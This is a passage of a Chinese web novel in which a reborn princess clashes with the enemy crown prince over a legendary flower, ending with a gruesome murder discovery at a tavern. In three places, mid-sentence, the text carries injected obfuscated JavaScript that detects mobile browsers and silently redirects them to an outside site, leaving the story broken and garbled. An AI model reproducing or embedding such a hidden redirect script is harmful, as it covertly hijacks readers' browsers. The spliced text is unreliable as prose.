落花啼神思附体,故作淡定,“花-径深,对不住,今天不能陪你买新衣服和新剑了,你明天跟着师父去游历,一定要照顾好师父,照顾好自己。” 语罢,拉上银芽的手,穿梭人海,杳杳无影。 望着落花啼消失的方向,花-径深失魂落魄地在无人关心的角落里独自点头,戚然道,“好。” 不管落花啼说什么,他都会一口答应的。 落花王宫。 落花啼和银芽紧赶慢赶去西风愁坞换好衣袍,整理表情,踏出宫门。 不料与一人撞了个满怀。 暗香萦袖。 “阿姊。” 清脆如冰棱碎裂的嗓子丝丝缕缕飘来,闻者无不动容。 落花蕊是落花国的二公主,落花啼同父异母的亲妹妹,年十四。一袭浅紫色裙袍,衬得她冰肌玉骨,媚姿天成。 头上绾了松软的随云髻,布满华丽珠翠,右边簪一朵紫蓝色牡丹花,国色天香,柔婉动人。 她笑道,“阿姊,方才我来西风愁坞寻你,扑了空,想来你溜出宫玩乐了。现在我们一起去赴宴吧……曲朝的太子殿下来了,父王特设了百花齐放宴招待他,并让我们全部过去陪同热闹。” 前世灭国之后,落花蕊生死不祥,不明去向,许是流落街头乞讨为生,许是被官兵抓捕一刀毙命,何等的可怜可叹。 落花啼眼眶洇润,强颜欢笑道,“他不是什么好人,凭什么为他设宴。” 落花蕊捂嘴轻笑,“阿姊,你莫不是因为他是你的未来夫君才不待见他么?看来阿姊是舍不得落花国,不想嫁去曲朝了。” “花蕊,嫁去曲朝是好事吗?我看不然。” 她能说曲探幽就是害我们家破人亡的罪魁祸首吗? 落花蕊哪里晓得这一层,挽上落花啼的手臂,两姐妹同行,道,“曲探幽生得俊朗非凡,才能出众,乃是天底下不可多得的好男儿。如果阿姊不喜欢他,可否留妹妹一丝机会?” 闻言,落花啼惨遭雷击,激动道,“花蕊!他不是好男儿!你看上谁都可以,千万不能看上他。” “为什么?阿姊仿佛对太子殿下颇有微词。” “预感,我预感他不是好东西。” 再聊下去难免耳赤面热,两人选择闭嘴不言,齐齐去了落花王宫的正殿。 百花齐放宴,顾名思义,其一,乃是集齐了春日的百花。譬如芍药,杜鹃,桃花,迎春,玫瑰,山茶等等,百花移栽至瓷盆中,摆放在殿内各个位置,花香涌动,如同步入花海。 其二,选择可食用的花朵制作花茶,花酒,鲜花酥。前两者不赘述,而做出鲜花酥,一般用杜鹃,桃花,玫瑰,茉莉,捣碎为馅,装进面团,用特制的模具印压出不同花形,描绘鲜嫩颜色,再下锅油炸成酥,便大功告成。 撇开鲜花酥,其他美味佳肴皆会点缀花瓣,达到美观应景之效。 其三,取自“百花齐放”之意,春意盎然,追求百花争艳,而不是一枝独秀。 落花啼,落花蕊姗姗来迟,踱步走进,俯首福身,“儿臣参见父王,母后,见过大哥,二哥。” 上座的国王落花啸,王后花汲人,微微淡笑,抬手示意二人起来。 左边的位置上是落花国太子落花鸣,还有二王子落花吟,同时对两位妹妹点了点头。 落花啸看了看右边,笑道,“花啼,花蕊,这位是曲朝的太子殿下。” 落花蕊旋身,颔首一礼,柔声婉约,“落花蕊见过太子殿下。” 落花啼置若罔闻,一抖裙袍,兀自走往自己的座位,一屁-股坐下。 眉头皱起,落花啸不悦道,“花啼,没规没矩,何不拜见太子殿下?” 宾客高位上的金袍男子不以为意地敲敲桌角,音色朗然,“无妨,公主脾气罢了。” 4. 恨别鸟惊心 第四章恨别鸟惊心 (蔻燎) 落花啸叹气,眼瞅落花啼不愿拜见曲探幽,咳嗽一声,连连赔笑,无可奈何地转移话题,带上众人和曲探幽推杯换盏。 他一一介绍着百花齐放宴上的美食美酒,引着宦官为曲探幽布菜斟酒,巨细无遗,“太子殿下,这是杏花酒,杏花微苦,热酒之时便添了一羹蜂蜜,蜂蜜也是取自百花,味道醇甘,能降降杏花的苦涩。你且尝一尝,可还合您的口味?” 曲探幽端过满得将欲溢出的杏花酒,迎到鼻前一嗅,浅浅抿了一口,随后搁回桌面,扬起下颌。 落花啸看出曲探幽并不赏脸,偏头扫一下太子落花鸣,落花鸣接收到父王的眼神,起身向曲探幽微一颔首,手执一杯玫瑰花茶,勾唇道,“殿下,若是不喜杏花酒的话,此玫瑰花茶相比之下会清淡些,入喉留香,一喝不忘。” 曲探幽点头,再次接住宦官倒的玫瑰花茶,横杯喝了半口,眉头稍稍拢了几分。 “如何?”落花鸣笑得脸都快僵了。 “不错。” 曲探幽挑了挑眉,漫不经心放下花茶,手指摩挲着茶杯外烧制的富丽花纹,似乎走了神。 心口石头落地,落花啸见曲探幽不曾表露厌烦神情,大吁气息,正欲让二王子落花吟起来介绍落花国的特色糕点鲜花酥,却见曲探幽主动拿了一块芍药形状的红色鲜花酥放入嘴里。 咬一口,嚼一嚼,嚼了半天。 在他默不作声吃鲜花酥的时刻,百花齐放宴上除了落花啼的每一人都屏息敛声,连唾沫也不敢咽下。 等曲探幽把鲜花酥吞下腹部,翘起唇,眼底流出满意的笑。 众人才不约而同地全身放松了。 曲探幽道,“鲜花酥,很好。” 落花啸扬眉大笑,指挥宦官多为太子殿下呈上各种各样的鲜花酥,不料得到的是曲探幽的一通摆手。 他道,“落花国王,孤此次前来,不是单纯吃美食赏风景的。” 曲探幽此行前来落花国,居然不为那所谓的千古一帝新谣言,而是为了寻找百年难遇的传说中的龙鳞花。 关于“龙鳞花”的传闻是,此花生长一百年,花开一年之久,唯有有缘人才能遇见它,亲眼看见它开花。然而天地广阔,龙鳞花到底开在何处,世人极难寻迹。 所见花开之人,非是有帝王命格不可。普通人见了,就是有当皇帝的命,若是帝王见了,那便能国运恒昌,永不覆灭。 一言蔽之,一旦看见龙鳞花开花的人就是未来的真龙天子,一统天下的至尊霸主。 龙鳞花难遇,而落花国遍地是五颜六色的花朵,在这里,得到龙鳞花的几率比其他国家大,于是曲探幽专门来落花国寻此奇花,打算挖走奉于曲朝皇帝,供为祥瑞,佑护亿兆百姓。 龙鳞花在神乎其神的传说下,开出的花瓣形似金龙,金光璀璨,华耀人间。因此曲朝皇上曲远纣答应落花啸,只要在落花国找到龙鳞花,就能给出万两黄金作为答谢。 落花啼听着落花啸和曲探幽谈论此事,嗤之以鼻,“龙鳞花的传闻比千古一帝更可笑,什么都赖在落花国头上?你确定这莫须有的东西就生长在落花国?荒诞不经。” 话语一停,百花齐放宴上落针可闻。 落花啸,花汲人,落花鸣,落花吟,落花蕊恐慌的目光望向了一旁脸色愀然的曲探幽,又望了望有恃无恐的落花啼。 曲探幽放下手心酒盏,眯细黑眸,抖起一根眉,“你在同孤说话?春还公主。” 天知道,落花啼自进入宴会,就没正眼看过曲探幽,更没有对其出声交流。 落花啼无意间脱口而出的话,没想到曲探幽竟接了话茬,她愤懑不平,控制情绪,斜睨对方,“本公主说错了吗?世界上没有龙鳞花,也没有千古一帝。” 曲探幽面无表情,暗黑的眸子却愈发幽邃,宛如一孔干涸的枯井,能一举将人吸附入内,无计逃脱。 他低笑两声,一副把落花啼当小孩子看待的样子,掀唇道,“春还公主尚未满十六,心性单纯,不懂这些也正常。” 撂下一句话,曲探幽不再理会落花啼,同落花啸聊得火热朝天,一字一言都是围绕着“龙鳞花”,只字片语不提那闹得满城风雨的千古一帝的新传言,也没有提及他和落花啼订过娃娃亲的旧事。 曲探幽告诉落花啸,他会在落花国盘桓数月,直到摘下龙鳞花,方会离去。 落花啸了然,遣人准备了宫殿“风竹幽居”,作为曲探幽在落花国的奢靡居所。 搔一搔头,百思不得其解。落花啼清清楚楚记得前世的曲探幽根本没来落花国寻找龙鳞花,心湖一颤,为何这一世他突然来了,难不成,是因为她故意改变了千古一帝的传言?引起了曲朝的怀疑? 百花齐放宴散罢,落花啼马不停蹄逃离这里。 她一个脑袋两个大,不明白曲探幽为何要在落花国住下,臆想着他是否暗中计谋对付落花国。 心神不宁,将要接近西风愁坞时,身后的银芽足下一滞,怯生生道,“奴婢银芽,参见太子殿下。” 落花啼如芒在背,忙不迭回身,动作过快,一头珠玉砸在脸上,火辣辣的疼。 曲探幽来了,鬼魅似的跟来了。 落花啼顿悟,去往风竹幽居必须经过她的西风愁坞,可见是父王悉心安排的,妄图让他们两个未婚夫妻培养感情。 曲探幽冷冷地瞥了银芽一秒,银芽低垂脑袋,懂事地避退多余宫人,徒留落花啼和曲探幽在廊下面对面相立。 牙齿咬得咔咔响,落花啼目视曲探幽的正脸,心道,这狗东西的脸跟前世长得一模一样,叫人看了怒火冲天,“何事?” 曲探幽居高临下瞟她,道,“本来无事,你停下来就有事了。” “你想说什么?” “孤很好奇,你为何对孤爱答不理?从前我们也见过几次面,你不是这种态度。” “因为你面相不善,与你待久了,你会克本公主。” 此言非虚,前世的曲探幽不就是活活克死了她吗? 曲探幽戏谑地一挑眉峰,笑声低抑,“春还公主也迷信这些?那你将才在宴会上信誓旦旦说龙鳞花不存在,会否自打脸皮?” 不等落花啼出言,曲探幽围着落花啼缓缓踱步,悠哉悠哉吟诵一首诗,冷笑里挟着轻蔑。 “ 向死哀呼心池衰,冰雪裹尘不待柴。 金石烧炼真君骨,百般折拦登帝骸。 蔽幽窥蓝见王像,何睹暝夜烧灵台。 迷离赤霞罩地乾,天下惊雷龙蛇灾。 休说帝王堪携花,不如枫林曳叶怀。 ” 末了,他抛出一记问题,比刀刃还锋利,“春还公主,你知不知道新的千古一帝的传闻?你听听,这里面的话可信吗?‘不如枫林曳叶怀’……难道,指的是已经覆灭的枫林国?” 落花啼发觉曲探幽洞若观火的能力如此恐怖,心腑稍慌,强自压下,“太子殿下说的这些传闻,本公主听不懂。” 她确是将千古一帝的谣言转移到已被曲朝覆灭的枫林国后人身上,只因枫林国的后人隐在世间,不知是死是活,不知藏身何处。即便曲朝要发难,也轻易伤害不了他们,更伤害不了其他国度。 “哦?” 曲探幽嗤笑,俯视落花啼精致的眉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810640|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尖削的鹅蛋脸,挺翘的鼻梁,红润的花瓣唇。滚了滚喉结,伸手敲了落花啼额头一下,“行吧,不说这个了。落花国王让你帮孤寻找龙鳞花,希望春还公主能给点面子,出手相助。” 毫无防备被恨之入骨的某人敲一个暴栗,落花啼一阵恶寒,手撕了对方的心情蓬勃高涨,她捂着额头,切齿道,“不可能!” “你何故这般大的反应?你与孤早些接触不是好事吗?左右我们有婚约在身,你迟早要嫁给孤作曲朝的太子妃。” 该死的语气,该死的声音,该死的狗东西。 落花啼星眸怒瞪,推开自以为是的曲探幽,愤愤甩袖,大步流星走了,“你死了这条心吧。” 曲探幽勾了勾唇,不怒反笑。 落花啼此人,看一眼,就觉得她像一种热烈张扬的红色花朵,比牡丹国色,比玫瑰绮丽,比彼岸花旖旎,比虞美人还灼灼多姿。曲探幽心念,或许只有危险迷人的红芍药最合契形容她。 他呢喃,“你从前不是这样的,孤何处惹着你了?” 沉吟,正欲叫上自己的下属去风竹幽居,甫一侧目,便瞄见了一抹淡雅的蓝紫色。 落花蕊撞上曲探幽投来的一缕眼神,不知所措地笑了笑,“太子殿下。” 曲探幽道,“花蕊公主。” “太子殿下,阿姊她今日不是故意的,你切莫怪罪她。” “孤知道。”曲探幽莞尔,“她一贯如此。” 落花蕊呼一口气,姣好的容貌勾人夺魄,笑语盈盈,“多谢太子殿下宽恕,太子殿下,寻找龙鳞花一事,若是阿姊不愿意去,花蕊愿替她前往。落花国的灵暝山,哀悼山一带花草遍野,大抵能得到一些线索。” 不置可否。曲探幽走近落花蕊,高大的身躯罩出灰暗的阴影,耐人寻味道,“花蕊公主,孤想问一问,落花国的毒蛇是不是也种类极多?如果豢养的话,蛇也能像狗那样听话么?必要之时,活蛇会不会也可染上一点酒气?” “毒蛇是世间各地皆有,落花国百花争艳不假,蛇虫鼠蚁也多,的确有人会刻意养蛇为乐。但是活蛇染上酒气倒不曾听闻,除非把蛇泡在酒水里……太子殿下,你打算养蛇吗?还是打算喝蛇酒?”眨眨眼,落花蕊极力在猜测曲探幽的话中含义。 “不,孤好奇罢了。以后有时间,劳烦花蕊公主带孤去瞧瞧养蛇之人。” “嗯,花蕊会的,太子殿下放心。” 目送落花蕊消失在走廊转角,曲探幽朝他的心腹侍卫招了招手,笑颜瞬间变为严峻,“入鞘,你待会出王宫四处打探,落花国饲蛇之人的情况,回来速速禀报。” 五官清俊,正气凛然的入鞘一愣,“太子殿下,你不是答应与花蕊公主同去查看吗?” “你跑一趟,孤更相信。” “是,太子殿下。”入鞘抱拳,眸子沉下去,小心翼翼道,“殿下,你是怀疑毒蛇衔信之事出自落花国?” 曲探幽一手负后,步幅无声,“多嘴。” 入鞘脊背发寒,头压得愈低,紧口似蚌,再不问了。 曲朝的一行人跟随落花王宫的宦官去了风竹幽居,路过西风愁坞的宫殿时,不禁被那花团锦簇的院落和流淌叮咚的小溪所震撼。 如此美舍,胜过山野风光,另有一番滋味。 风竹幽居里的花朵相对稀少,倒是围了半帘绿幕般的冷箭竹,遮天蔽日,揽风自摇,不乏诗意。 入鞘机敏地吩咐曲朝侍卫和落花宦官手脚麻利儿的收拾屋子,务必打扫得锃光瓦亮,不染纤尘。 曲探幽则一掀金袍,落座在院中圆形石桌旁,若有所思地凝视着不远处西风愁坞那粉金色建筑的一角,缄默不语。 5. 人生几多愁 第五章人生几多愁 (蔻燎) 翌日清晨,落花啼早早乔装打扮,拖上银芽,主仆二人驾了一辆华丽马车赶去了灵暝山。 今日是花下眠和花-径深外出游历的日子,她得去送一程,恰好问问花下眠她突然能使唤毒蛇的缘故。 正午时分,马车歇在了灵暝山天相宗的大门前。 落花啼一跟头跳下,朝守门小童道,“开门!师父她们呢?” 小道童见礼道,“公主殿下,宗主一个时辰前刚走。” “什么!她不等本公主一刻吗?还未道别,这便走了?” 落花啼心口空落落,又气又急,“那花-径深呢?也不等等本公主?他有留下什么东西没?有留下什么话吗?” 小道童摇摇头,“未曾留下。” “好啊好啊,花-径深,你居然说走就走,一点不害怕本公主会不会生气?等你回落花国,本公主定会打你一百大板!”落花啼懊恼不已,早知如此,就该提前半天来灵暝山,怎么可能堵不住花下眠和花-径深。 眼下好了,她在灵暝山所在乎的两人都不辞而别,风轻云淡地走了。 落花啼不死心,扯着小道童的衣领,质问,“他们往哪个方向走了?嗯?快说!” “我不知道,公主殿下,宗主说此事不可告知你,让你安安心心来灵暝山练剑,他们归来之时自会寻你。” “……” 一把甩开小道童,落花啼拔出绝艳砍在墙面上,溅出细密的石屑,弹到肌肤上,疼痛难捱。 银芽走近攥住落花啼手里的剑,柔柔道,“公主息怒,花宗主如此安排,应该是另有深意。不过那花-径深走了就走了呗,他一个丑八怪凭什么得到公主的瞩目?” 落花啼浊气郁结,提高声音,“他不是丑八怪。” “公主……”银芽明白说错话,羞愧地咬咬嘴唇。 灵暝山上没有花下眠与花-径深,落花啼毫无留恋,上了马车要原路返回,她跟银芽互相换着赶马,车轱辘碾压着山间陡峭的石路,脆响轰鸣。 来至山腰,休憩整顿间,落花啼余光一瞟,瞅见了密林深处有一抹噩梦中屡屡出现的人影,一口气喘不上,“你,你怎么跟来了?” 要不是银芽就在身旁,落花啼必然认为自己仍在做梦,她好巧不巧在灵暝山上偶遇了阴魂不散的曲探幽。 论起两辈子不想看见的人,曲探幽在她内心绝对排第一,稳如磐石的第一。 曲探幽不是孤身一人,他的右侧还站着一名婀娜多姿,体量风雅的蓝紫色衣袍的妙龄女子。 两人后面是一群乌泱泱的曲朝士兵,还有稀疏的落花士兵,此时此刻漫山遍野地分布,佝偻腰背,拨草扯叶,似乎在寻寻觅觅什么植物。 光是看见曲探幽,落花啼的心脏接近窒息,待她发现落花蕊粘在曲探幽身边,满眼爱慕之色,心脏直接停止跳跃。 拔腿跃出马车,落花啼冲过去兜住落花蕊掩在背后,十分警惕道,“曲探幽,你到底想做什么?拉上花蕊独自陪你,是何居心?” 曲探幽睨一瞬落花啼,并不答言,把问题抛给落花蕊,“花蕊公主,你的阿姊对孤戾气太重,你替孤解释罢。” 落花蕊从落花啼肩头探出半张脸孔,正颜道,“阿姊,太子殿下是让我带他来灵暝山找龙鳞花的。他本来想找你,可去了西风愁坞根本看不见你的人影。所以他才和我……阿姊,太子殿下他没做错什么,你为何要发怒?” “花蕊,别靠近他,他不是个好东西,你为什么不听?” “阿姊,太子殿下哪里不好了?” 落花啼眉梢捻紧,欲言又止。 曲探幽嗤笑,“孤还在这里,春还公主说人坏话也喜欢当着人面直言不讳吗?” 龙鳞花这东西虚无缥缈,有没有都是未知,曲探幽大张旗鼓跑来落花国,目的肯定不是龙鳞花,他的算盘打的是什么主意,落花啼比任何人都清楚。 离夏日还有三月,她得阻拦曲探幽拿借口攻打落花国。 要龙鳞花?好,本公主给你找一朵出来! 摆出假笑,落花啼将落花蕊快速推上马车,交给银芽保护着。她兀自走至曲探幽面前,红唇半敛,皓齿浅露,粲然道,“曲探幽,本公主对灵暝山极其熟悉,你想找龙鳞花不如靠本公主来引路,花朵不喜生长在大树之下,你得去山谷处寻一寻。” “曲探幽?春还公主是迫不及待想嫁给孤?已然称呼起未来夫君的名讳了。呵,孤一直想你帮忙,但你不大愿意啊。”曲探幽嘴角玩味,眼睛定定不移地戳在落花啼的脸上,仿佛下一秒就要扑上来撕咬一顿。 他道,“入鞘,继续找!” 入鞘和曲兵异口同声,“遵命,太子殿下!” 走近几步,长臂一捞,曲探幽猛的把落花啼压进坚硬的怀抱,当着无数双眼睛的面儿,揉揉落花啼的双腮,暧昧道,“春还公主,你都这般讲了,孤荣幸之至。” “春还公主,东南西北,走哪一边?” 落花啼周身发毛,膝盖一顶,撤步后退,搓了几-把脸颊,恶心道,“有病!动手动脚做什么?” 曲探幽武能超群,轻而易举躲了过去,撇撇嘴,自己还委屈上了,“春还公主比小时候暴躁不少,孤不明白。” 马车上的银芽目瞪口呆,小手捂着嘴,言语不出。 落花蕊则抿了一抿唇角,十指相绞,情不自禁跳下马车,正欲追去,却见落花啼拽过曲探幽的衣领将人拽到密林后,倏忽无痕。 落花啼扯着曲探幽的领口,牵狗似的把人剥离曲朝士兵的视线范围,这才匆匆丢开手。 曲探幽整理了散乱歪斜的衣领,方一抬眸,一束蛇鳞密匝的纤细银剑“唰”地荡出破空之音,剑气激荡,如寒似霜,直直刮面掠来。 眉间一闪而过暴戾神色,曲探幽分毫不避,空手接住横飞过来的绝艳,手指被剑势震得麻痹无觉,红豆般的血珠顺着剑刃细雨绵绵,一串串下坠,飞溅在郁郁葱葱的草地里。 落花啼全然不顾曲探幽的伤势,一心想持剑削他几个来回,奋力往后一抽,红了身躯的绝艳铮然拔出来,旋腕一动,再次横冲直撞劈砍过去。 曲探幽这回不坐以待毙,后仰塌腰,剑锋擦着他的鼻尖而过。 起身抬脚猛踹,一记侧踢将落花啼手里的绝艳踢得插在一棵大树上,“嗡嗡嗡”地摇荡。 指尖颤抖,血液浊染了他的整只手掌,猩红恐怖。 “你在做什么?” 音质裹挟着犀利的压迫感。 落花啼充耳不闻,眼孔决绝,提步朝大树跑去,要把绝艳拔下来继续伺候曲探幽,曲探幽忍无可忍,双拳砸紧,不管三七二十一对着落花啼的后腰就是一拳。 “……你!” 挨了重重一拳头,落花啼疼得倒吸凉气,转过来扑向曲探幽,扭着两拳锤了上去。 两人不借武器之力,赤手空拳镶嵌在一起,敲得嘭嘭作响。 一会儿落花啼在上,一会儿曲探幽在上,撕扯殴打,混成一颗球在草地里移动翻滚。 落花啼一招招都朝着曲探幽的俊脸上狠擂,下着死手,“去死吧!去死吧!本公主夜夜做梦都想让你死!曲探幽,你个天良丧尽的大恶人!大人渣!” 一头雾水的曲探幽没来由地被落花啼抱着脑袋猛揍,何其不悦。他一把逮住对方的两只手腕,切齿磨牙,“落花啼!你疯了?你敢打孤?” 他怒不可遏,初次遇见此等大逆不道的女人骑在自己身上作威作福,该是如何的恼火愤懑。 长膝一曲,狠狠将落花啼给顶开。 “砰!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曲朝的天下还没落在我的手里,你必须活着,眼睁睁看着你的家国被一点点蚕食覆灭。 起初,落花啼是想一了百了杀死曲探幽的,一干二净收拾完对方,为前世死去的父母兄妹和落花国百姓报仇雪恨。 转念一思,凭什么让他痛痛快快就死了? 那她经历的灭国之苦,亡国之恨又算得了什么? 算得了什么! 为了让曲探幽痛苦,同她无差,尝尽灭国之苦,所以绝对不能这么便宜了对方。 时日还长。 她落花啼要让曲探幽失去一切,从天穹跌入泥潭,跟她一样一无所有,国破家亡,任人宰割践踏。 这样,才能叫报复,才能叫大快人心。 隐忍不发,尽力拔出树上的绝艳,落花啼抬步欲走。 曲探幽懒懒散散站起来,道,“龙鳞花呢?到底在哪?” “你自己找吧,恕不奉陪。” “春还公主的变脸之术无出其右,不知国王知道你这般待孤,会是怎番表情?” 他恶意地晃晃受伤的手,眸子里藏着化不开的邪魅。 落花啼足底一滞,剜了曲探幽一眼。 曲探幽道,“找到龙鳞花,于曲朝,于落花国,于你,于孤,皆有利无弊。孤想,春还公主是分得清厉害的,对么?” 落花啼不置一词,提剑收进鞘中,扭身走了。 曲探幽踩着落花啼留下的脚印,徐徐跟随,神态莫测。 回到马车的位置,落花啼一刻不愿多待,爬上马车就要驾车离去,曲探幽亦走出来翻身跨马,时不时偏头睥睨过来几下。 银芽一见落花啼嘴巴周围红了一圈,心绪一动,瞅瞅落花啼,又瞅瞅曲探幽,结巴了,“公主,公主,你,你……” 落花蕊也发现蹊跷,脸色骤变,眼神在落曲二人身上飘了三四回,按捺不住道,“阿姊,你和太子殿下怎么了?你们,你们两个——” “打了一架。” “啊……阿姊,你为何打太子殿下?” 落花啼言简意赅,“因为他贱。” 6. 随风潜入夜 第六章随风潜入夜 (蔻燎) “什么?”落花蕊怀疑自己耳朵出问题,难以置信落花啼嘴里会说出这样令人无法苟同之辞。 曲探幽耳清目明,非是聋子,吹着风儿听见了这四个字,眼睑微颤,他一勒马缰,沉默地率先策马向山顶进发。 一群人自山腰到山顶,从山顶到山腰,拢共折腾了三个时辰,花费一天时间寻找那朵破龙鳞花。 好消息是,连破龙鳞花的一根烂叶子也没觑见。 白跑一趟。 众人来到灵暝山天相宗的大门前,曲探幽蠢蠢欲动,想进去一观风采,被落花啼严厉拒绝。理由是,天色已晚,若逛完天相宗,届时回落花王宫就不太方便了。 更何况,在江湖上颇有名望的天相宗岂是曲探幽这只人渣想看就看的? 落花啼当然第一个不同意。 曲探幽“哦”一声,也不勉强,反正他对江湖上的儒释道各门派皆有了解,不急一时,他有的是机会正大光明地走进去。 来到花落知多少的街道,落花啼,落花蕊,银芽下马车逛夜市,三人蹦蹦跳跳,嬉笑不断。 华灯初上,热热闹闹的大街小巷摆满了琳琅满目的商品,香气扑鼻的鲜花食品五彩缤纷,目不暇接。 人-流摩肩接踵,沸反盈天。 落花啼掏一颗银子买了三块鲜花酥,分给落花蕊和银芽,她们在前面边吃边逛,曲探幽一行人则骑着马一步步紧跟着。 入鞘无奈地驾着落花啼的那辆马车,莫名有一种换了主子的错觉,他嘴巴一扁,不甘心道,“太子殿下,要不我们先回落花王宫安置歇息?这春还公主整日下来对太子殿下没个好脸色,哪有一点上台面的待客之道?我们不必去热脸贴冷屁股吧。” 曲探幽道,“她怎么不给孤买一块呢?” 入鞘瞟见街道边甜香馥郁,色彩娇嫩的鲜花酥,忙不迭道,“太子殿下也想吃鲜花酥?属下这便去买。”身子还坐着,两条腿已飞速跳下马车。 曲探幽目不斜视,缄口默然,眸湖平静无澜。 东拉西扯间,灯火通明的长街尽头蓦地炸开了窜天的尖叫,“啊啊啊啊啊啊!血——有血!杀人了,杀人了!” 杀人? 曲探幽眉弓一耸,目泛亮芒,兴趣盎然,不等入鞘出言阻拦,用鞭子抽打着身下的马匹,在川流不息的人群中急驰。 走在前头的落花啼等人先一步听见那声尖叫,她拖着落花蕊和银芽推挤着拥堵的人群,脚不沾地的往声音来源处大步跑动。 费了九牛二虎之力才拨开面前的数颗脑袋,落花啼气喘吁吁,还没仔细看,身侧冲来一匹威武霸气的赤兔宝马,停在她旁边,“呼哧呼哧”喷着热气。 抬目一瞭,瞥见了曲探幽浓鸷的侧颜,落花啼白眼一翻,收回视线。 尖叫的中心是一座恢宏的大酒楼。 酒楼的棕红牌匾后缩着一团黑糊糊的影子,岿然不动,数条幼蛇般的斑驳血痕从牌匾下蜿蜒流淌,“滴答,滴答,滴答”,秋雨似的连绵不绝。 围拢的人群敛气屏息,越发显得这血滴声震耳欲聋,贯彻心房,挥之不去。 原是一名富家公子打量进这酒楼小酌一杯,一品佳肴,没成想还未踏步入内,眉心一冷,湿漉漉的水渍砸在他脸上,吓得他赶忙一抬头。 所见之景使他鬼哭狼嚎,仪态全无地喊了一嗓子,把街道上的老百姓全部吸引过来。 “那……那是什么东西?是人是鬼?” 富公子躲在他府中小厮的背后,战栗如抖筛,口齿不清。 小厮自己也害怕得狂抖,抽空安慰道,“少爷,你莫怕,许是哪只野猫卡在牌匾之后了。” “野猫?什么野猫能长得这般大?岂非成了精怪?” 落花啼站出来,昂头望着上方的酒楼牌匾,一字一顿,“全——是——羊?什么破名字?” 有酒楼取名这么敷衍的吗? 她挤进酒楼正门位置,抱拳,嫣然道,“诸位,这匾额后的东西是何模样,猜来猜去没有意义,不如把它弄下来仔细辨别?” 酒楼老板屁颠屁颠跑过来,觑了觑落花啼,眼熟不已,抠一抠头,道,“这位姑娘,要不我给你搬一架梯子?你瞧瞧,这都是什么事啊?本店好端端地做生意,怎么就惹上这些不干不净的东西!哎呦,晦气!” 他兀自郁结,指挥一位店小二去挪梯子。 落花啼一拍手掌,不屑道,“不必!” 脚下点跃,横踏竖踢,借力酒楼的柱子飞身而起,一只手攀上酒楼牌匾,另一手攥成拳头,在众目睽睽之下将牌匾后的那坨黑影一举怼了下来。 “啪!” 巨大的首尾相连的球体自高空砸下,摔出一地血泥。 落花啼稳稳松手落地,衣袍猎猎,恍如神人。 发鬓纹丝不动,姿势落落大方,那叫一个潇洒又倜傥。 看得百姓们鼓手称快,喝彩不断。 银芽道,“公……小姐厉害!” 马背上的曲探幽默默翘了下唇角,眼珠子钉在落花啼身上,久久不动。 众人闹罢,安静下来,跟随落花啼去翻看地面上黑糊糊的物体。 那东西周身裹了一层黑布,污浊腥臭,黑布上隐隐浸出了暗红的颜色,观之觳觫。 落花啼接过酒楼店小二递过来的一根烧火棍,捅了捅,不见有动静,手速迅疾,三两下掀开黑布,暴露了黑布下的真实面目。 是人。 不,似人,而非人。 乃是一个奇丑至极的大怪物! 何故如此说? 地面上黑布里的东西是一位年纪轻轻的成年男子,浑身赤-裸,衣不蔽体,肌肤细腻,血口纵横。 双手护胸,弯膝缩腿,骨骼似柴,一副襁褓婴儿的诡异姿态。 这不是最奇怪之处,最奇怪的是那人根本没有脸,准确来说,他没有一张正常人的脸,而是脸上替代了一块羊面。 一言蔽之,死去的男人的脸上被罪魁祸首拿针线缝合了绵羊的羊脸,自脖子到头顶,包住了他原本的面容。 他的下-体,屁-股后端还恶趣味地被人缝上了一撮羊尾巴,沾了干涸的血印,触目惊心。 富公子搂着美人春风得意地来吃羊肉,却不小心碰见血腥变态的一幕,撑着柱子呕吐不止,竭力道,“这是什么怪物?谁搞出来的,唔……” 落花啼瞠目,握着烧火棍的手一凝,后退两步,避之不及,下一秒后背撞上一热腾腾的硬物。 回眸,曲探幽不知何时下马,踱步接近,悄无声息地立在落花啼身边。 人群迭起嘀嘀咕咕的议论声,什么那是曲朝的太子殿下,什么那可能是落花公主,什么什么,七嘴八舌,倒比研究羊面怪物还来得澎湃激昂。 曲探幽忽略百姓的吵嚷,目视酒楼老板,冷峻道,“可曾报官?” 老板瞅着曲探幽,上下扫描,确定对方就是曲朝远道而来尊贵的太子殿下,卑躬屈膝,行礼道,“回太子殿下,报了报了,一发现这匾额后不对劲我就遣了人去官府了,想来应该快到了。” 他谄媚一笑,“来人,给太子殿下拖张椅子出来,请太子殿下落座休息!” 曲探幽置若罔闻,转移话题,寒声道,“此事是第一次发现,还是先前已有案例?不妨告知。” 此言一出,花落知多少的百姓一俱噤若寒蝉,安静如死。 曲探幽挑眉,“如此看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810642|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,并不是第一次了。” 落花啼也疑窦丛生,暗暗揉了揉眉心,思忖须臾,她前世一心玩乐,不大关注民间案件,对花落知多少里发生的事故知之甚少,一时记不清前世的时候城内有什么大事。 她把好奇的眼孔飞到老板脸上,加一把火,“老板,你知道吗?羊面怪物之前,还出了什么事?” “回公主殿下,羊面怪物之前,还有鼠面,牛面,虎面,兔面,蛇面,马面等怪物。” 